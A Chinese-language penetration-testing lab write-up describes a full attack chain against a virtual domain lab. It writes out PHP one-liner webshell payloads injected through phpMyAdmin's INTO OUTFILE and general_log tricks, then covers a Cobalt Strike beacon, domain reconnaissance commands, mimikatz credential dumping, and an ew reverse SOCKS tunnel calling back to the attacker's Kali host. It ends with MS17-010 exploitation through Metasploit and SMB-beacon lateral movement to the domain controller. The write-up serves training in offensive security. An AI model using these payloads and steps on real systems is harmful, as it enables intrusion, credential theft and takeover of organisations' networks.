内网渗透 域渗透
前言
环境搭建:
设置Win2K3 仅主机模式,ip:192.168.52.141
winserver08 仅主机模式,ip:192.168.52.138 (域控)
win7添加一个网卡,ip:192.168.23.141;192.168.52.143(双网卡,作为跳板机),一个设为仅主机模式,另一个设为NAT模式;
kali攻击机设为NAT模式,ip:192.168.23.131
拓扑图:
信息收集
1.使用nmap对win7进行端口嗅探,发现win7开放了80和3306端口
2.访问http://192.168.23.141,为一个php的探针,能看到绝对路径
3.对http://192.168.23.141进行目录扫描,发现存在phpadmin的登录界面
4.使用root/root弱口令成功进入后台
PhpMyAdmin get shell
1.利用select into outfile 写入shell
先查看能否自定义导出文件目录的权限,结果为NULL意味着不允许导入导出数据到目录。且只能在my.ini进行配置。
命令:SHOW VARIABLES LIKE "secure_file_priv";
如果能将my.inisecure_file_prive并将其值设置为""或"/",并重启MySQL服务
命令:select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/shell.php';
进行一句话写shell
2.利用日志写shell
查看全局变量 general_log、general_log_file
命令:SHOW VARIABLES LIKE "general_log%";
general_log 默认关闭,,general_log_file为日志储存路径。
写shell的思路:更改general_log的值,将日志储存在能访问的路径下,且后缀名为php。然后通过log日志进行写入一句话木马,然后再进一步利用。
命令:
set global general_log = "ON";
set global general_log_file = "C:/phpStudy/WWW/shell.php";
然后在日志中插入一句话:
SELECT '<?php eval($_POST["pass"]);?>'
使用蚁剑连接:http://192.168.23.141/shell.php,成功连接
内网信息收集
1.使用蚁剑进行信息收集时,许多命令无回显,尝试上传cs马,回连beacon。
2.上线cs马,进行信息收集
3.信息收集 net view /domain,目标机存在一个GOD的域,域控ip为192.168.52.138
信息收集中,需要用到的命令 (cs中执行命令,需要带上“shell”)
ipconfig /all
net view
net view /domain
net time /domain
能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)
net config workstation 查询当前的登录域与用户信息
net lookup “域名” nslookup 命令直接解析域名服务器
net user /domain 查看当前域的所有用户
wmic useraccount get /all 获取域内用户的详细信息
net group "domain computers" /domain 查看所有域成员计算机列表
net group "domain admins" /domain 查看所有域控管理人员
net group "domain controllers" /domain 查看与控制管理器
net group "enterprise admins" /domain 查看企业管理组
net localgroup administrators /domain 查看域控,升级为域控时,本地账户也成为域管
net accounts /domain 获取域密码信息
nltest /domain_trusts 获取域信任列表
4.使用mimikatz模块进行密码导出
横向移动
此时,我们已知道域控的ip为192.168.52.138(通过dns中的ip地址,或者通过ping域服务器可得到域控ip地址),那么以win7为跳板机,进行横向攻击。
反弹socks5服务器
1.在kali上运行:
./ew_linux_x64 -s rcsocks -l 1080 -e 1234
该命令的意思是在kali上添加一个转接隧道,把本地1080端口收到的代理请求转交给1234端口。
2.在win7 (web服务器中)运行
execute ew_for_win64 -s rssocks -d 192.168.23.131 -e 1234
该命令的意思是在web服务器上启动SOCKS5服务,并反弹到IP地址为192.168.23.131(kali)的1234端口上。
(1)先将ew文件上传到目标机win7中,然后执行命令
(2)执行execute ew_for_Win.exe -s rssocks -d 192.168.23.131 -e 1234
(3)配置proxychains.conf(kali上需要安装 sudo apt-get install proxychains)
现在就可以通过访问127.0.0.1:1080端口使用在右侧web服务器上架设的SOCKS5代理服务了
/etc/proxychains.conf修改内容如下,去掉dynamic_chain和dns(实验中,有时proxychains启动nmap会报错)的注释,并且在最后的位置添加代理。
(4)测试代理是否正常
发现正常
渗透内网主机
proxychains启动nmap
用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网:
发现仅存活192.168.52.138和192.168.52.141两台内网主机,从前面的域信息收集可知138主机为域控主机
proxychains启动nmap
尝试对其进行端口扫描,发现其开放了3389和445端口,尝试对其进行永恒之蓝攻击
proxychains启动msf
1)启动msfconsole
随后正常使用ms17_010等利用方式进行利用
设置正向监听和rhost(大概率会打重启,本人中途打重启多次,可尝试使用exploit/windows/smb/ms17_010_psexec模块)
注:该模块要求目标机器开启命名管道,可使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。)
成功打入ms17_010
接下来,load mimikatz模块,即可进行域账号的横向;或者上线到cs(传shell)
======================================================================================================================================================================
补充:如果永恒之蓝等exp利用方式无法进行,可以使用获取到win7明文账号进行横向ipc上线
SMB Beacon的使用场景:
- 我们知道了目标机器的管理员账号的明文密码或密码哈希。但是目标主机不出网,所以我们想利用SMB Beacon正向连接让其上线。
- 还有一种使用场景是,在域环境中,我们已经得到一个域用户的账号密码(此环境中,我们获得win7权限为域管理员权限,可横向ipc到域控服务器)。由于在域中,默认域用户可以登录除域控外的所有主机。所以我们可以利用该域用户与其他主机建立IPC连接,然后让其他主机进行SMB Beacon上线。
(1)首先创立一个Beacon_SMB监听器
(2)利用其明文密码使其上线Beacon_SMB
先建立一个ipc连接
然后使用jump进行上线Beacon_SMB
此时查看连接的会话,发现成功获取了域控(192.168.52.138)的shell
到这就结束分享。
接下来就是使用ipc继续上线Beacon_SMB,依次提权等。。。。。